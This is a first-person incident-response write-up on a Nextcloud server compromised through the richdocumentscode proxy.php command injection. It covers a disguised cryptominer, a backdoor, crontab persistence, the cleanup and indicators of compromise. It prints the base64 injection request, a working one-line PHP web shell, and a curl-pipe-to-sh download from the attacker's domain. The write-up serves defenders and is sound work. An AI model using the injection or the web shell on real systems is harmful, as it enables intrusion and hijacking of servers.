My Server Slowed Down, and I Found a Miner Inside

Süreç listesinde kendini kworker olarak gösteren madenci

Türkçe sürüm: Sunucum Yavaşladı, İçeride Bir Madenci Buldum

36 hours inside a server breached through a Nextcloud app, one evening of incident response, and the record I kept with an AI agent.

The slowdown

On Sunday evening, pages in one of my applications loaded slower than usual. I had recently upgraded the server to 4 cores and 8 GB of memory, so I saw no reason for it. I asked my agent to check the current state of the server. I expected nothing; it was a routine check.

The first output showed a load of 4.5 on 4 cores, a full swap, and 4 out-of-memory kills in the last seven days. The process using the most memory was a program called .nm-helper. It used 296% CPU and 2.4 GB of memory, and the process list showed it as [kworker/u8:2], disguised as a kernel thread. Its owner was the site user that also runs two other applications of mine. A file name that starts with a dot, a fake process name, and that CPU usage pointed to one thing: someone was mining cryptocurrency on my server.

The agent stopped without killing anything. It collected read-only evidence first and brought its findings to me. We decided together what to do next.

How the attacker got in

The working directory of the process gave the first clue: apps/richdocumentscode inside the Nextcloud installation. This is the Nextcloud app that installs the built-in office suite, Collabora Online (CODE), on the server. It contains a file named proxy.php that starts Collabora and proxies requests to it. You can call this file directly, without a Nextcloud session.

The access log showed the attack request clearly:

GET /x$(echo${IFS}<base64>|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status

The $( ... ) embedded in the path is a shell command. ${IFS} hides the spaces and base64 encodes the real command. proxy.php passes this path to a shell somewhere, and the command runs as the site user. The decoded base64 contained a one-line PHP web shell:

<?php echo 'OKAY'; if(isset($_GET['c'])){ echo shell_exec($_GET['c'].' 2>&1'); } ?>

I could not find a CVE number for this flaw. If you know one, please tell me. My installation ran Nextcloud 33.0.3 with version 25.4.904 of the app.

Attack chain
Attack chain

Timeline

Putting the logs and file times together gives this order (times are UTC+3):

TimeEvent
Nov 21 and 22Recon requests for richdocumentscode from two addresses. One asked for info.xml, the other for status.php.
Nov 29 07:32:27First request that ran a command. The same request also started the Collabora AppImage.
07:32:28Web shell tdx_926741370.php written to disk.
07:32:44The web shell ran curl -fsL https://123872[.]xyz/... | sh.
07:32:46Backdoor /var/tmp/.td-agent --bypass started and added itself to crontab.
Nov 30 05:28 and 06:57Two new web shell attempts through the same flaw from another address.
Nov 30 20:20Miner .nm-helper started, five watchdog scripts added to crontab.
Nov 30 21:23Detected during the status check.
Timeline
Timeline

The attacker stayed inside for 36 hours. The miner had started only in the last hour. If I had not noticed the slowdown, I would not have known until swap filled up and the OOM kills became frequent.

What it left behind

.td-agent was a backdoor. It listened on port 50000 on all interfaces and on two more ports locally, and it kept an HTTPS connection open to an address behind Cloudflare. The server firewall drops incoming traffic by default, so port 50000 was probably not reachable from outside. That did not stop the program, because its own connection went from the inside out.

Persistence had two layers. The site user’s crontab got a line that checked every two minutes whether the backdoor was running and restarted it if needed, plus an @reboot line. For the miner, five separate watchdog scripts sat in different temporary directories, each set to run every seven minutes and at boot. Killing the processes alone would not have been enough: they would have come back within seven minutes.

Both programs deleted their own files after they started. From a root shell, /var/tmp and /tmp showed nothing. The files existed only in memory, inside the running processes. The processes also ran in a separate mount namespace, so the /tmp that root saw was not the same directory as theirs.

Imunify was installed and running on the server. It caught none of these files.

Response order

We agreed on the order first, because the attacker had come back three times in 36 hours. Close the door, then take evidence, then clean up.

Response order
Response order

Closing the door. We put the Nextcloud site into maintenance mode, disabled the office apps, suspended the site in Plesk, and blocked the two attacking addresses in the firewall. A test from outside got a 503 from proxy.php.

Here I learned something I did not expect. A helper agent noted that the server might have a second Nextcloud installation. It did: another domain ran an old Nextcloud 30.0.0, with the same app installed and enabled. The logs showed no attack there. We disabled the app with occ app:disable, but proxy.php still returned 200 from outside. Disabling an app stops Nextcloud from loading it. The web server still runs the file directly. The real fix was to move the app folder out of the web root, and we did that on both sites.

Evidence. The programs had deleted their files, but /proc/<pid>/exe still pointed to the running binaries. We copied both from there. We also collected command lines, environment variables, memory maps, open files, network connections, the crontab, the web shell, and the site logs, and recorded SHA256 hashes for all of them. We made sure not to restart PHP-FPM, because that could have wiped the separate namespace and its contents.

Cleanup. We backed up the crontab first, kept the 17 legitimate lines, and removed the 12 malicious ones. Only then did we stop the processes, one by one by PID. pkill -u on the whole user would have been easier, but the same user ran the PHP processes of the other two applications. We also stopped the Collabora process tree that the attack had started. Then we waited for the seven-minute watchdog cycle to pass. No process came back, no suspicious connection remained, and the load dropped from 4.5 to 1.7.

Did it reach root?

This question decided whether the server needed a rebuild. We checked:

  • every user’s crontab and the /etc/cron* directories
  • systemd units changed in recent days
  • authorized_keys files
  • /etc/ld.so.preload
  • accounts with UID 0
  • sudoers
  • new SUID files
  • processes hidden from ps

None of them showed a trace. Root SSH logins came only from my own address. I concluded that the attacker stayed at the site user’s privilege level. I know this is not proof, but it is what the data shows.

Secrets

The configuration files of the two other environments reachable from the same system account were within the attacker’s reach. We treated every secret in them as compromised.

On the database side there were eight PostgreSQL roles. Plesk held the PostgreSQL admin password. A simpler path was to let each role connect with its old password and change its own password with ALTER ROLE CURRENT_USER. The server generated the new passwords and wrote them straight into the configuration files. None of them appeared on screen, in a log, or in the chat. We then checked with each application’s own health and role-check scripts that they really connected. The PostgreSQL log showed no new authentication failures.

In a second round we rotated the mailbox passwords used for sending email, the API key of the local language model service, and the VAPID key pair used for web push. When the VAPID key changes, existing browser subscriptions stop working. The application already had a flow that detects an invalid subscription and offers the user a “renew” option. We marked all subscriptions inactive to trigger that flow. In Nextcloud we deleted 12 session and app tokens and rotated the server secret.

Some things we left alone on purpose. The server stores only the SHA256 hash of the automatic update tokens, and that hash is the same in every backup from the past weeks. The public halves of the release signing keys match my local copies exactly. We did not rotate the data encryption keys either, because that could make encrypted data unreadable and needs its own plan. The Google OAuth client secret can only be changed in Google’s console, and that one is on me.

Is the code clean?

The first scan looked only at files changed after November 29 and at known web shell patterns. The helper agent raised a fair objection here too. The attacker could write to the application files, and moving a file’s date back with touch takes a second. A differently written backdoor could also slip past a pattern scan.

So we ran a comparison that ignores file dates completely. For every application file on the live server we computed its git blob ID. Then we checked whether that ID had ever existed at the same path in the local repository’s history.

  • First environment: 4 of 271 files were not in the main repository. All four turned up in the development pipeline’s repository, in the commits of the release published that evening. All 815 dependency files under vendor/ matched my local copy exactly.
  • Second environment: Of 339 files, the only ones missing from the repository were server-specific configuration. They held plain data, no executable code.
  • WordPress: We compared core and plugin checksums of the WordPress site owned by the same user against the official values. Only the Turkish wp-config-sample.php and a hello.php from 2019 did not match, and both were harmless.

Finally we rebooted the server into the new kernel and checked everything once more.

Was it ARTEX?

ARTEX was my first thought. On October 29, CrowdStrike reported that a China-linked group it calls Vapor Panda used ARTEX, a multi-agent AI penetration-testing framework, to attack more than 200 organizations in 14 countries automatically. In my incident the attacking addresses also belonged to two large Chinese carriers, and the chain moved within seconds, with no human in the loop.

The comparison changed the picture. CrowdStrike’s published indicators are three IP addresses, three domains, and three file hashes of the BLOODALCHEMY backdoor. None of them appear in my logs. The targets in the report are ministries, telecom companies, and defense and semiconductor organizations. The report does not mention cryptomining at all. On my server, the attacker’s first move was to install a miner, and the next day it tried to drop new web shells through the same hole. That looks much more like a botnet that scans the internet for exposed Nextcloud installations and pushes the same package to every server it finds.

The gaps between the steps also point to a prepared script. Nineteen seconds passed between the exploit and the running backdoor, and the downloaded package was ready in advance. The download domain was registered on November 2, 2026. The recon requests came from a Swiss hosting company using Python aiohttp, and the miner’s server is in the Netherlands. Home and mobile carrier addresses in China are often compromised devices or proxies, and they do not show where the attacker actually is.

My conclusion: I found no evidence linking this incident to ARTEX or Vapor Panda. The behavior fits a financially motivated, automated mass attack. I cannot rule ARTEX out completely, because it was open source when it first appeared and anyone could use it. From the logs alone, you cannot tell whether an AI agent or a classic script ran an automated attack.

What I learned

An application’s weakest app can leave the whole application exposed. The day I installed the office app, I did not think of it as one more component to keep up to date. A feature I did not use sat on the internet behind a PHP file that asked for no session.

On shared hosting, every site under the same system user shares the same fate. The attacker who came in through Nextcloud could also reach the code and secrets of the two other environments under the same system account. Moving important applications to separate system users is the first concrete task from this incident.

Disabling an app does not disable its files. After occ app:disable, proxy.php still returned 200. Before saying “it’s closed”, send a request from outside and look at the result.

A scan that trusts file dates can mislead you. You prove code integrity by comparing file contents against a known clean source. Git lets you do that with a few commands.

Antivirus does not see everything. Imunify was on and missed both malicious programs. What warned me was the slowdown.

Working with agents helped in two ways here. The main agent collected evidence without touching anything and asked for my approval before every change. The helper agent caught two things we had missed: the second Nextcloud and file dates that could have been moved back. I made the decisions. The agent ran the commands, the checks, and the record keeping.

Indicators of compromise

Addresses are defanged.

TypeValue
Attack requestGET /x$(echo${IFS}<base64>|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status
Web shellapps/richdocumentscode/tdx_<number>.php
Download domain123872[.]xyz
Attack sources27.189.140[.]106, 117.136.38[.]85
Recon sources39.144.92[.]24, 185.103.164[.]112
Backdoor connection104.21.7[.]24:443
Miner connection103.7.55[.]233:443
Backdoor/var/tmp/.td-agent --bypass, SHA256 d417b32fa0969341f3896d58b986034a23d87ddac078f3fe486817a0b695565b
Miner/tmp/.sysd-private-<hex>/.nm-helper, process name [kworker/u8:2], environment NM_DT=1 NM_FORCE=1, SHA256 14972bb3c6fa6e31a8197334c9971ef1e3dc813bb223909a92478146919edb2e
Persistencecrontab: .td-agent with */2 and @reboot, /tmp/.sysd-private-<hex>/.nm-dog.sh with */7 and @reboot

If you run Nextcloud with richdocumentscode, search your access logs for proxy.php?status requests and the $(echo${IFS} pattern.